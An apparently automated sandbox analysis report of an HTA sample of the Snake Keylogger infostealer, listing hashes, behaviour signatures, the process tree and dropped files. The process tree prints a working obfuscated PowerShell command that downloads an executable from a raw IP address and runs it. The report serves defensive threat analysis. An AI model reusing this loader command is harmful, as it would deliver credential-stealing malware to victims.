Analysis

  • max time kernel
    113s
  • max time network
    114s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-09-2024 01:09

General

  • Target

    1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64.hta

  • Size

    115KB

  • MD5

    17116a0f43508549998ef6618154d77a

  • SHA1

    e71af8b0489263e476521a5fd6e22e5511369c4d

  • SHA256

    1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64

  • SHA512

    a6824f19100e0fd4c996ab8db64875fb1c0c0e4d045792793b45ad1e93cb358c6746289209d8d1f4634c6ebed9ade9e43a5b3407856780e7e60954efc249e9d9

  • SSDEEP

    96:Ea+M7wmf6PCZ60NUrnPmeobQk9B6/A6I6L1j+Z668AT:Ea+Qwmf6PCZ6kUTWfz6Y6dKZ6+T

Malware Config

Extracted

Family

snakekeylogger

Credentials

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4196
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\244zaul5\244zaul5.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2340
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9DA7.tmp" "c:\Users\Admin\AppData\Local\Temp\244zaul5\CSCE47F655F45CD42D29CBD7DBA2D2F98D4.TMP"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3180
        • C:\Users\Admin\AppData\Roaming\dllhost.exe
          "C:\Users\Admin\AppData\Roaming\dllhost.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:4064
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Roaming\dllhost.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:3212

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\244zaul5\244zaul5.dll

    Filesize

    3KB

    MD5

    134b575ab21914e6fccd5e5c25c758fb

    SHA1

    d6e748caedc9940b2a916ead1e1b7a464cbb6030

    SHA256

    f6e6bd0571f4865455f24ed1400453e7a7ec3cbc905353df8828941eedd76242

    SHA512

    854230c4f2b4fa27d3c1f3c4efd7e663d2c5f7559549f202cb37aea62d19413c2f738c4917587c5951b45449979a939c9436653e49150769465b39b4c166711a

  • C:\Users\Admin\AppData\Local\Temp\RES9DA7.tmp

    Filesize

    1KB

    MD5

    3a546f9ad4bb98b1fdc284fb275d891d

    SHA1

    1b05e0c9bce63e392619ce66c7f35a4ec65a0956

    SHA256

    b0dff3ea778bf5e5caaf0bfbc6b0e8ff5aee71a2ffd172862cbfa782e6c8ca47

    SHA512

    99cc28ee75ea90b1f92c16515c35f36c0ba8b8210da1f58072f637c7d66072fecfd80f59db350a1d037961d5d140e961833e19ded728f37e95d9d276db868e18

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ankegsht.fek.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\dllhost.exe

    Filesize

    956KB

    MD5

    249f4ca7f1cc801c87cebd0cdf0b398e

    SHA1

    1241f91fa9239ed0553c33f6d3651644813f6f84

    SHA256

    b639e9680b5ac670c7b58863479c1cf9c7bea436aee481fa9729c6a82508e556

    SHA512

    0b6ae1f507b5599f9fb651576e12ae378b66111193623d806f0e6266e8ee93f1fa5dedd4d4b96f3360fecc81962b76e9bacc7c1096a96df5b33fbd64aa6a18d6

  • \??\c:\Users\Admin\AppData\Local\Temp\244zaul5\244zaul5.0.cs

    Filesize

    475B

    MD5

    74ac079a164eedfd18ee0237dead2da7

    SHA1

    62575f712ded8ea2637ee5e5eda8ae9cf2919dc1

    SHA256

    6c72d2a89a0a1d35a067d9322c4c94503d5a75a2e6308cbf9b7bc95e9396f615

    SHA512

    7994aaef91f02e10fd65e782063492a1658e9b1e6e6ffa3a54fce1ab14b39c19bbd3b61cea46908f87cfde0466ef53e3be352c003db797bef0c9f67875285dbb

  • \??\c:\Users\Admin\AppData\Local\Temp\244zaul5\244zaul5.cmdline

    Filesize

    369B

    MD5

    495956e5c2c6505558278efd3cd488b8

    SHA1

    c7f6bde66627d3055adf381628c660cfc84bbe42

    SHA256

    16991ad6250c5b83ef6dbc5e9f023240cd257071af10518a4c7b1e8ff711737c

    SHA512

    33011d1951174e424650eb1dbb745552cc3abdbe91639f774d5109b2704e8fdd9b07b7a7b61b43cabad9352c2ec2b640cfaa04ae90a9d20ef42b156ab762d304

  • \??\c:\Users\Admin\AppData\Local\Temp\244zaul5\CSCE47F655F45CD42D29CBD7DBA2D2F98D4.TMP

    Filesize

    652B

    MD5

    ed2e65d899e3cddb0e764502675b6ce9

    SHA1

    10a00bf4b23e3a091deed8ea633169fa58aa4a49

    SHA256

    92f1288f2372ee1dbe05316f302a2f4d35a877b655f3bc7330c572dfcba57681

    SHA512

    4529fc479c86c7b137daebceea31060a352575c413175ed1291ac1783e6bedd573604344fdc8889564ede290dc1219ee75098b326d09008f6dc675cf97beed3f

  • memory/3212-86-0x00000000061E0000-0x00000000063A2000-memory.dmp

    Filesize

    1.8MB

  • memory/3212-85-0x0000000005FC0000-0x0000000006010000-memory.dmp

    Filesize

    320KB

  • memory/3212-84-0x0000000004DF0000-0x0000000004E8C000-memory.dmp

    Filesize

    624KB

  • memory/3212-83-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/3212-87-0x00000000060B0000-0x0000000006142000-memory.dmp

    Filesize

    584KB

  • memory/3212-88-0x0000000006070000-0x000000000607A000-memory.dmp

    Filesize

    40KB

  • memory/4196-19-0x0000000006740000-0x000000000678C000-memory.dmp

    Filesize

    304KB

  • memory/4196-23-0x000000006D660000-0x000000006D9B4000-memory.dmp

    Filesize

    3.3MB

  • memory/4196-22-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-21-0x000000006D500000-0x000000006D54C000-memory.dmp

    Filesize

    304KB

  • memory/4196-20-0x0000000006CC0000-0x0000000006CF2000-memory.dmp

    Filesize

    200KB

  • memory/4196-35-0x00000000079B0000-0x0000000007A53000-memory.dmp

    Filesize

    652KB

  • memory/4196-38-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-37-0x0000000007780000-0x000000000779A000-memory.dmp

    Filesize

    104KB

  • memory/4196-36-0x00000000080E0000-0x000000000875A000-memory.dmp

    Filesize

    6.5MB

  • memory/4196-39-0x0000000007AB0000-0x0000000007ABA000-memory.dmp

    Filesize

    40KB

  • memory/4196-40-0x0000000007CD0000-0x0000000007D66000-memory.dmp

    Filesize

    600KB

  • memory/4196-41-0x0000000007C30000-0x0000000007C41000-memory.dmp

    Filesize

    68KB

  • memory/4196-42-0x0000000007C80000-0x0000000007C8E000-memory.dmp

    Filesize

    56KB

  • memory/4196-43-0x0000000007C90000-0x0000000007CA4000-memory.dmp

    Filesize

    80KB

  • memory/4196-44-0x0000000007D70000-0x0000000007D8A000-memory.dmp

    Filesize

    104KB

  • memory/4196-45-0x0000000007CC0000-0x0000000007CC8000-memory.dmp

    Filesize

    32KB

  • memory/4196-34-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-33-0x0000000006D10000-0x0000000006D2E000-memory.dmp

    Filesize

    120KB

  • memory/4196-0-0x0000000070C4E000-0x0000000070C4F000-memory.dmp

    Filesize

    4KB

  • memory/4196-18-0x0000000006700000-0x000000000671E000-memory.dmp

    Filesize

    120KB

  • memory/4196-17-0x0000000006360000-0x00000000066B4000-memory.dmp

    Filesize

    3.3MB

  • memory/4196-58-0x0000000007CC0000-0x0000000007CC8000-memory.dmp

    Filesize

    32KB

  • memory/4196-64-0x0000000070C4E000-0x0000000070C4F000-memory.dmp

    Filesize

    4KB

  • memory/4196-65-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-66-0x0000000007F50000-0x0000000007F72000-memory.dmp

    Filesize

    136KB

  • memory/4196-67-0x0000000008D10000-0x00000000092B4000-memory.dmp

    Filesize

    5.6MB

  • memory/4196-11-0x0000000006010000-0x0000000006076000-memory.dmp

    Filesize

    408KB

  • memory/4196-80-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-12-0x00000000060F0000-0x0000000006156000-memory.dmp

    Filesize

    408KB

  • memory/4196-5-0x0000000005F70000-0x0000000005F92000-memory.dmp

    Filesize

    136KB

  • memory/4196-4-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-3-0x00000000057F0000-0x0000000005E18000-memory.dmp

    Filesize

    6.2MB

  • memory/4196-2-0x0000000070C40000-0x00000000713F0000-memory.dmp

    Filesize

    7.7MB

  • memory/4196-1-0x0000000005120000-0x0000000005156000-memory.dmp

    Filesize

    216KB